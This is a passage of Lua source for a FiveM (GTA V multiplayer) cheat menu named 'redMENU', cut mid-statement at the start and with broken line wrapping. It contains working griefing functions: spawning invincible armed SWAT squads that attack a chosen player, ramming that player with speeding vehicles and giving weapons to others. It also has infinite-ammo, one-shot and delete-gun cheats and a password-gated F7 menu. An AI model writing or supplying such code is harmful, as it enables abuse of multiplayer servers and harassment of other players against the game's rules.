i, cM.y + i, cM.z, 0, true, true)
NetworkRegisterEntityAsNetworked(ped)
if DoesEntityExist(ped) and not
IsEntityDead(GetPlayerPed(SelectedPlayer)) then
local eT = PedToNet(ped)
NetworkSetNetworkIdDynamic(eT, false)
SetNetworkIdCanMigrate(eT, true)
SetNetworkIdExistsOnAllMachines(eT,
true)
Citizen.Wait(500)
NetToPed(eT)
GiveWeaponToPed(ped, GetHashKey(eS),
9999, 1, 1)
SetEntityInvincible(ped, true)
SetPedCanSwitchWeapon(ped, true)
TaskCombatPed(ped,
GetPlayerPed(SelectedPlayer), 0, 16)
elseif
IsEntityDead(GetPlayerPed(SelectedPlayer)) then
TaskCombatHatedTargetsInArea(ped, cM.x,
cM.y, cM.z, 500)
else
Citizen.Wait(0)
end
end
end
elseif redMENU.Button("Spawn ~s~Swat army with
Railgun") then
local eU = "s_m_y_swat_01"
local eS = "weapon_railgun"
for i = 0, 10 do
local cM =
GetEntityCoords(GetPlayerPed(SelectedPlayer))
RequestModel(GetHashKey(eU))
Citizen.Wait(50)
if HasModelLoaded(GetHashKey(eU)) then
local ped = CreatePed(21, GetHashKey(eU),
cM.x + i, cM.y - i, cM.z, 0, true, true) and CreatePed(21, GetHashKey(eU), cM.x -
i, cM.y + i, cM.z, 0, true, true)
NetworkRegisterEntityAsNetworked(ped)
if DoesEntityExist(ped) and not
IsEntityDead(GetPlayerPed(SelectedPlayer)) then
local eT = PedToNet(ped)
NetworkSetNetworkIdDynamic(eT, false)
SetNetworkIdCanMigrate(eT, true)
SetNetworkIdExistsOnAllMachines(eT,
true)
Citizen.Wait(500)
NetToPed(eT)
GiveWeaponToPed(ped, GetHashKey(eS),
9999, 1, 1)
SetEntityInvincible(ped, true)
SetPedCanSwitchWeapon(ped, true)
TaskCombatPed(ped,
GetPlayerPed(SelectedPlayer), 0, 16)
elseif
IsEntityDead(GetPlayerPed(SelectedPlayer)) then
TaskCombatHatedTargetsInArea(ped, cM.x,
cM.y, cM.z, 500)
else
Citizen.Wait(0)
end
end
end
end
redMENU.Display()
elseif redMENU.IsMenuOpened("VehicleRamMenu") then
if redMENU.Button("Futo") then
local model = GetHashKey("futo")
RequestModel(model)
while not HasModelLoaded(model) do
Citizen.Wait(0)
end
local offset =
GetOffsetFromEntityInWorldCoords(GetPlayerPed(selectedPlayer), 0, -10.0, 0)
if HasModelLoaded(model) then
local veh = CreateVehicle(model, offset.x, offset.y,
offset.z, GetEntityHeading(GetPlayerPed(selectedPlayer)), true, true)
SetVehicleForwardSpeed(veh, 120.0)
end
elseif redMENU.Button("Bus") then
local model = GetHashKey("bus")
RequestModel(model)
while not HasModelLoaded(model) do
Citizen.Wait(0)
end
local offset =
GetOffsetFromEntityInWorldCoords(GetPlayerPed(selectedPlayer), 0, -10.0, 0)
if HasModelLoaded(model) then
local veh = CreateVehicle(model, offset.x, offset.y,
offset.z, GetEntityHeading(GetPlayerPed(selectedPlayer)), true, true)
SetVehicleForwardSpeed(veh, 120.0)
end
end
redMENU.Display()
elseif redMENU.IsMenuOpened("SingleWepPlayer") then
for i = 1, #allWeapons do
if redMENU.Button(allWeapons[i]) then
GiveWeaponToPed(GetPlayerPed(SelectedPlayer),
GetHashKey(allWeapons[i]), 1000, false, true)
end
end
redMENU.Display()
elseif redMENU.IsMenuOpened("WeaponMenu") then
if redMENU.MenuButton("Weapon List", "WeaponTypes") then
elseif redMENU.ComboBox("Weapon/Melee Damage", { "1x
(Default)", "2x", "3x", "4x", "5x" }, currentDamage, selectedDamage,
function(currentIndex, selectedIndex)
currentDamage = currentIndex
selectedDamage = selectedIndex
end)
then
elseif redMENU.Button("Give All Weapons") then
for i = 1, #allWeapons do
GiveWeaponToPed(PlayerPedId(),
GetHashKey(allWeapons[i]), 1000, false, false)
end
elseif redMENU.Button("Drop Current Weapon") then
local ped = GetPlayerPed(-1)
local weapon = GetSelectedPedWeapon(ped)
SetPedDropsInventoryWeapon(ped, weapon, 0, 2.0, 0, -1)
elseif redMENU.Button("Remove All Weapons") then
for i = 1, #allWeapons do
RemoveAllPedWeapons(PlayerPedId(), true)
end
elseif redMENU.Button("Give Ammo") then
for i = 1, #allWeapons do
AddAmmoToPed(PlayerPedId(), GetHashKey(allWeapons[i]),
250)
end
elseif redMENU.CheckBox(
"No Reload",
InfClip,
function(enabled)
InfClip = enabled
SetPedInfiniteAmmoClip(PlayerPedId(), InfClip)
end)
then
elseif redMENU.CheckBox(
"Infinite Ammo",
InfAmmo,
function(enabled)
InfAmmo = enabled
SetPedInfiniteAmmo(PlayerPedId(), InfAmmo)
end)
then
elseif redMENU.CheckBox(
"Explosive Ammo",
explosiveAmmo,
function(enabled)
explosiveAmmo = enabled
end)
then
elseif redMENU.CheckBox(
"oneshot",
Oneshot,
function(enabled)
Oneshot = enabled
end)
then
elseif redMENU.CheckBox(
"Force Gun",
forceGun,
function(enabled)
forceGun = enabled
end)
then
elseif redMENU.CheckBox(
"Delete Gun",
DeleteGun,
function(enabled)
DeleteGun = enabled
end)
then
elseif redMENU.MenuButton("Weapon Tints",
"WeaponCustomization") then
elseif redMENU.MenuButton("Bullet Gun Options",
"BulletGunMenu") then
end
redMENU.Display()
elseif redMENU.IsMenuOpened("WeaponCustomization") then
if redMENU.CheckBox(
"Rainbow Tint",
rainbowTint,
function(enabled)
rainbowTint = enabled
end)
then
elseif redMENU.ComboBox("Weapon Tints", { "Normal", "Green",
"Gold", "Pink", "Army", "LSPD", "Orange", "Platinum" }, currentTint, selectedTint,
function(currentIndex, selectedIndex)
currentTint = currentIndex
selectedTint = selectedIndex
if selectedTint == 1 then
SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0)
end
if selectedTint == 2 then
SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 1)
end
if selectedTint == 3 then
SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 2)
end
if selectedTint == 4 then
SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 3)
end
if selectedTint == 5 then
SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 4)
end
if selectedTint == 6 then
SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 5)
end
if selectedTint == 7 then
SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 6)
end
if selectedTint == 8 then
SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 7)
end
end)
then
elseif redMENU.Button("Add Special Finish") then
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x27872C90)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0xD7391086)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x9B76C72C)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x487AAE09)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x85A64DF9)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x377CD377)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0xD89B9658)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x4EAD7533)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x4032B5E7)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x77B8AB2F)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x7A6A7B7B)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x161E9241)
elseif redMENU.Button("Remove Special Finish") then
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x27872C90)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0xD7391086)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x9B76C72C)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x487AAE09)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x85A64DF9)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x377CD377)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0xD89B9658)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x4EAD7533)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x4032B5E7)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x77B8AB2F)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x7A6A7B7B)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x161E9241)
end
redMENU.Display()
elseif redMENU.IsMenuOpened("BulletGunMenu") then
if redMENU.CheckBox(
"Vehicle Gun",
vehicleGun,
function(enabled)
vehicleGun = enabled
end)
then
elseif redMENU.ComboBox("Vehicle To Shoot", vehicles,
currentVehicle, selectedVehicle, function(currentIndex, selectedIndex)
currentVehicle = currentIndex
selectedVehicle = selectedIndex
end)
then
elseif redMENU.ComboBox("Vehicle Speed", vehicleSpeed,
currentVehicleSpeed, selectedVehicleSpeed, function(currentIndex, selectedIndex)
currentVehicleSpeed = currentIndex
selectedVehicleSpeed = selectedIndex
end)
then
elseif redMENU.CheckBox(
"Ped Gun",
pedGun,
function(enabled)
pedGun = enabled
end)
then
elseif redMENU.ComboBox("Ped To Shoot", peds, currentPed,
selectedPed, function(currentIndex, selectedIndex)
currentPed = currentIndex
selectedPed = selectedIndex
end)
then
elseif redMENU.CheckBox(
"Bullet Gun",
bulletGun,
function(enabled)
bulletGun = enabled
end)
then
elseif redMENU.ComboBox("Bullet", bullets, currentBullet,
selectedBullet, function(currentIndex, selectedIndex)
currentBullet = currentIndex
selectedBullet = selectedIndex
end)
then
end
redMENU.Display()
elseif IsDisabledControlPressed(0, 168) then --F7
if logged then
redMENU.OpenMenu("MainMenu")
else
local temp = KeyboardInput("Enter Pass", "", 100)
if temp == pass then
drawNotification("~g~Login Succesful!")
logged = true
redMENU.OpenMenu("MainMenu")
else
drawNotification("~r~Login Failed!")
end
end
end
Citizen.Wait(0)
end
end)